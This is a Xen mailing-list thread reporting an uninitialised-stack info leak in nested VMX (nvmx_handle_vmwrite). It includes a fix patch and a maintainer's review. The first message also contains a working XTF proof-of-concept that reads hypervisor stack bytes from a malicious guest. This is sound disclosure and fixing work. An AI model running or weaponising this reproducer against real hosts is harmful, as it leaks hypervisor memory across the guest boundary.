All of lore.kernel.org
 help / color / mirror / Atom feed
* [BUG] uninitialised stack memory copied to vmcs12
@ 2026-07-15 22:06 Johann Höpfner
  2026-07-16  6:49 ` Jan Beulich
  0 siblings, 1 reply; 2+ messages in thread
From: Johann Höpfner @ 2026-07-15 22:06 UTC (permalink / raw)
  To: xen-devel

Hello xen-devel@

While fuzzing Xen instrumented by an experimental memory sanitizer, we
discovered the following bug in nested VMX, where a malicious L1 guest
with nestedhvm=1 can read four uninitialised bytes from the hypervisor
vmexit handler stack. 

Specifically nvmx_handle_vmwrite leaves local eight byte variable
'operand' uninitialised. It is then written to by decode_vmx_inst. In
cases where the operand to vmwrite is a r32, r64 or m64, this fully
initializes *poperandS; if however a vmwrite with a 32 bit memory
operand is emulated, hvm_copy_from_guest_linear leaves the upper half of
*poperandS uninitialised. In the case where cpu_has_vmx_shadow_vmcs
returns true, the resulting eight byte value is consequently written to
the vmcs12 unchecked and leaks the four uninitialised bytes into guest
physical memory via the vmcs12.

Attached is a reproducer for XTF which triggers the behavior described
above at least on 4.20 and master versions of Xen running on intel
x86_64 hosts. We would expect there to be the constant 0x99999999, which
we have just vmwritten, somewhere in the unloaded vmcs12, likely zero
extended to eight bytes. However it is stored instead alongside four
bytes read from the hypervisor stack. Currently I am not aware of
security implications for this bug, as I have not been able to leak more
than what appear to be the rather uninteresting upper four bytes of a
pointer.

The same issue exists in nvmx_handle_invept, though no malicious use is
known to me. I suggest fixing both by simply initialising operand / eptp
to 0 in nvmx_handle_vmwrite / nvmx_handle_invept. Patch is given
immediately below, preceding the reproducer.


diff --git a/xen/arch/x86/hvm/vmx/vvmx.c b/xen/arch/x86/hvm/vmx/vvmx.c
index e4cdfe55c1..3f9cf7962e 100644
--- a/xen/arch/x86/hvm/vmx/vvmx.c
+++ b/xen/arch/x86/hvm/vmx/vvmx.c
@@ -1968,7 +1968,7 @@ static int nvmx_handle_vmwrite(struct cpu_user_regs *regs)
 {
     struct vcpu *v = current;
     struct vmx_inst_decoded decode;
-    unsigned long operand; 
+    unsigned long operand = 0;
     u64 vmcs_encoding;
     enum vmx_insn_errno err;
     int rc;
@@ -2012,7 +2012,7 @@ static int nvmx_handle_vmwrite(struct cpu_user_regs *regs)
 static int nvmx_handle_invept(struct cpu_user_regs *regs)
 {
     struct vmx_inst_decoded decode;
-    unsigned long eptp;
+    unsigned long eptp = 0;
     int ret;
 
     if ( (ret = decode_vmx_inst(regs, &decode, &eptp)) != X86EMUL_OKAY )



/** Makefile **/

include $(ROOT)/build/common.mk
NAME      := vmx32
CATEGORY  := functional
TEST-ENVS := hvm32
TEST-EXTRA-CFG := extra.cfg.in
obj-perenv += main.o
include $(ROOT)/build/gen.mk

/** extra.cfg.in **/

nestedhvm = 1

/** main.c **/

#include <xtf.h>
const char test_title[] = "test vmwrite m32 leak";
static uint8_t vmxon_region[PAGE_SIZE] __aligned(PAGE_SIZE);
static uint8_t vmcs_region[PAGE_SIZE] __aligned(PAGE_SIZE);
static uint32_t identity_pde[1024] __aligned(PAGE_SIZE);
void test_main(void) {
  if (!cpu_has_vmx) return xtf_skip("nested VMX required.");

  for (unsigned int i = 0; i < 1024; i++) {
    identity_pde[i] = (i << 22) | 0x83;
  }
  write_cr3(_u(identity_pde));
  write_cr4(read_cr4() | X86_CR4_PSE | X86_CR4_VMXE);
  write_cr0(read_cr0() | X86_CR0_PG | X86_CR0_NE);

  uint32_t rev = (uint32_t)rdmsr(0x480);
  *(uint32_t *)vmxon_region = rev;
  *(uint32_t *)vmcs_region = rev;
  uint32_t vmxon_pa = _u(vmxon_region);
  uint32_t vmcs_pa = _u(vmcs_region);
  uint8_t err;

  uint32_t field = 0x2000;
  uint32_t val = 0x99999999;

  asm volatile("vmxon %[pa]; setbe %[err]" : [err] "=q"(err) : [pa] "m"(vmxon_pa) : "cc", "memory");
  if (err) return xtf_error("Error: VMXON failed\n");
  asm volatile("vmclear %[pa]; setbe %[err]" : [err] "=q"(err) : [pa] "m"(vmcs_pa) : "cc", "memory"); 
  if (err) return xtf_error("Error: VMCLEAR failed\n");
  asm volatile("vmptrld %[pa]; setbe %[err]" : [err] "=q"(err) : [pa] "m"(vmcs_pa) : "cc", "memory");
  if (err) return xtf_error("Error: VMPTRLD failed\n");

  asm volatile("vmwrite %[val], %[field]; setbe %[err]" : [err] "=q"(err) : [val] "m"(val), [field] "r"(field) : "cc", "memory");
  if (err) return xtf_failure("Fail: VMWRITE failed\n");

  asm volatile("vmclear %[pa]; setbe %[err]" : [err] "=q"(err) : [pa] "m"(vmcs_pa) : "cc", "memory");
  if (err) return xtf_error("VMCLEAR failed! Cannot dump.\n");

  for (int i = 0; i < 1024; i++) {
    printk("%08x ", ((uint32_t *)vmcs_pa)[i]); if ((i + 1) % 4 == 0) printk("\n");
  }

  asm volatile("vmptrld %[pa]; setbe %[err]" : [err] "=q"(err) : [pa] "m"(vmcs_pa) : "cc", "memory");
  asm volatile("vmxoff" ::: "cc", "memory");
}


^ permalink raw reply related	[flat|nested] 2+ messages in thread

* Re: [BUG] uninitialised stack memory copied to vmcs12
  2026-07-15 22:06 [BUG] uninitialised stack memory copied to vmcs12 Johann Höpfner
@ 2026-07-16  6:49 ` Jan Beulich
  0 siblings, 0 replies; 2+ messages in thread
From: Jan Beulich @ 2026-07-16  6:49 UTC (permalink / raw)
  To: Johann Höpfner; +Cc: xen-devel

On 16.07.2026 00:06, Johann Höpfner wrote:
> Hello xen-devel@
> 
> While fuzzing Xen instrumented by an experimental memory sanitizer, we
> discovered the following bug in nested VMX, where a malicious L1 guest
> with nestedhvm=1 can read four uninitialised bytes from the hypervisor
> vmexit handler stack. 
> 
> Specifically nvmx_handle_vmwrite leaves local eight byte variable
> 'operand' uninitialised. It is then written to by decode_vmx_inst. In
> cases where the operand to vmwrite is a r32, r64 or m64, this fully
> initializes *poperandS; if however a vmwrite with a 32 bit memory
> operand is emulated, hvm_copy_from_guest_linear leaves the upper half of
> *poperandS uninitialised. In the case where cpu_has_vmx_shadow_vmcs
> returns true, the resulting eight byte value is consequently written to
> the vmcs12 unchecked and leaks the four uninitialised bytes into guest
> physical memory via the vmcs12.
> 
> Attached is a reproducer for XTF which triggers the behavior described
> above at least on 4.20 and master versions of Xen running on intel
> x86_64 hosts. We would expect there to be the constant 0x99999999, which
> we have just vmwritten, somewhere in the unloaded vmcs12, likely zero
> extended to eight bytes. However it is stored instead alongside four
> bytes read from the hypervisor stack. Currently I am not aware of
> security implications for this bug, as I have not been able to leak more
> than what appear to be the rather uninteresting upper four bytes of a
> pointer.

As to security implications: nested-virt is still experimental, so there's
no formal concern there. In more general terms though, unless you're
certain there's no security aspect to an issue, please instead report more
privately to security@xenproject.org.

> The same issue exists in nvmx_handle_invept, though no malicious use is
> known to me. I suggest fixing both by simply initialising operand / eptp
> to 0 in nvmx_handle_vmwrite / nvmx_handle_invept. Patch is given
> immediately below, preceding the reproducer.

You may have noticed that you were able to repro (normally) only with a
hvm32 xtf test. That's because of a bug fixed by [1], which sadly still
didn't make it in. That same bug affects INVEPT and INVVPID. Imo ...

> --- a/xen/arch/x86/hvm/vmx/vvmx.c
> +++ b/xen/arch/x86/hvm/vmx/vvmx.c
> @@ -1968,7 +1968,7 @@ static int nvmx_handle_vmwrite(struct cpu_user_regs *regs)
>  {
>      struct vcpu *v = current;
>      struct vmx_inst_decoded decode;
> -    unsigned long operand; 
> +    unsigned long operand = 0;
>      u64 vmcs_encoding;
>      enum vmx_insn_errno err;
>      int rc;
> @@ -2012,7 +2012,7 @@ static int nvmx_handle_vmwrite(struct cpu_user_regs *regs)
>  static int nvmx_handle_invept(struct cpu_user_regs *regs)
>  {
>      struct vmx_inst_decoded decode;
> -    unsigned long eptp;
> +    unsigned long eptp = 0;
>      int ret;
>  
>      if ( (ret = decode_vmx_inst(regs, &decode, &eptp)) != X86EMUL_OKAY )

... the INVVPID case wants the same change to be made, even if the local
variable isn't used right now. Otoh the need for the INVEPT and INVVPID
changes goes away with [1] applied, as the size of their memory operand
really doesn't depend on operand or address size.

In any event - why don't you make your proposed change into a proper patch
(primary piece missing is your S-o-b, and perhaps we also would want a
suitable Fixes: tag)?

Jan

[1] https://lists.xen.org/archives/html/xen-devel/2025-06/msg01212.html


^ permalink raw reply	[flat|nested] 2+ messages in thread

end of thread, other threads:[~2026-07-16  6:50 UTC | newest]

Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-07-15 22:06 [BUG] uninitialised stack memory copied to vmcs12 Johann Höpfner
2026-07-16  6:49 ` Jan Beulich

This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.